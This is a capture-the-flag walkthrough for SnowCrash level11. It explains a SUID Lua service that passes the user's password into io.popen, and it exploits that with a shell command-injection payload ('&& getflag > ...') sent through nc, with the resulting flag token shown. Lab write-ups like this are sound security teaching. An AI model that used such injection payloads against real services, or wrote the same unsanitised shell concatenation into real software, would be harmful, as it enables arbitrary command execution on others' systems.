Level11

Only one file is present in home directory of the `level11` user witch is a script named `level11.lua`. The **SUID** bit is set and the owner is user `flag11`.

```lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))

function hash(pass)
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)

      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end

  end

  client:close()
end
```

We can observe that this script launches a server that listens for client connections on `127.0.0.1`, port `5151`.
It prompts for a password, passes it trough a `hash(pass)` function, compares the hash and outputs a message.

If we try to issue a connection with `nc` on `127.0.0.1`, port `5151` we are indeed prompted for a password. The script is running.

A flaw is present in the hash function where a process is created with `io.popen()` to execute system commands. The password entered is concatenated with the command, so we are able to insert the `getflag` command and redirect it's output to a file.

```lua
function hash(pass)
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end
```

Using the double ampersand operator `&&`, we can insert `getflag > /tmp/flag.txt` if we enter it as the password. The resulting command in `io.popen()` will look like this when concatenated:

```
io.popen("echo && getflag > /tmp/flag.txt | sha1sum", "r")
```

We are able to execute our arbitrary command and get the flag.

```
level11@SnowCrash:~$ nc 127.0.0.1 5151
Password: && getflag > /tmp/flag.txt
Erf nope..
level11@SnowCrash:~$ cat /tmp/flag.txt
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
```